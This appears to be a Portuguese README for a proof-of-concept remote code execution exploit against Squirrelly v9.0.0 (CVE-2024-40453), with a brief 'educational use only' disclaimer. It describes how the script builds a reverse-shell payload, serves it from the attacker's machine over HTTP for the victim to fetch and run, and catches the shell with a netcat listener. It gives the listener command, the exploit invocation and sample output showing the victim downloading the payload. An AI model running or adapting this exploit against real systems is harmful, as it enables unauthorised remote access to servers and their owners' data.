CVE-2024-40453 - Squirrelly v9.0.0 RCE

Aviso de Responsabilidade:

Este script é apenas para uso educacional.

Não o utilize para fins ilegais.

Se o fizer, é inteiramente sua responsabilidade; não me responsabilizo por qualquer uso indevido.

Descrição

Este script cria uma shell reversa chamada payload.sh no diretório atual.

Em seguida, hospeda um servidor http na porta 80 para a vítima baixar o payload.sh.

Um listener precisa ser iniciado na máquina do atacante.

O servidor http é encerrado após 3 segundos para permitir que a vítima baixe e execute o payload.sh.

EXPLICAÇÃO DO EXPLOIT

Com base nas informações a seguir, este POC foi desenvolvido. https://samuzora.com/posts/cve-2024-40453

USO

Inicie seu listener

rlwrap nc -nvlp 3000

Execute o payload

# python3 poc.py -rhost <VICTIM_IP> -rport <VICTIM_PORT> -lhost <ATTACKER_IP> -lport <ATTACKER_LISTENER_PORT>

python3 poc.py -rhost 172.16.0.2 -rport 3000 -lhost 172.16.0.1 -lport 3000
[+] Payload created at payload.sh
[*] Hosting HTTP server on port 80
[*] Triggering remote execution
172.16.0.2 - - [13/Jun/2025 22:21:10] "GET /payload.sh HTTP/1.1" 200 -
[*] Shutting down HTTP server on port 80
[!] Check your listener!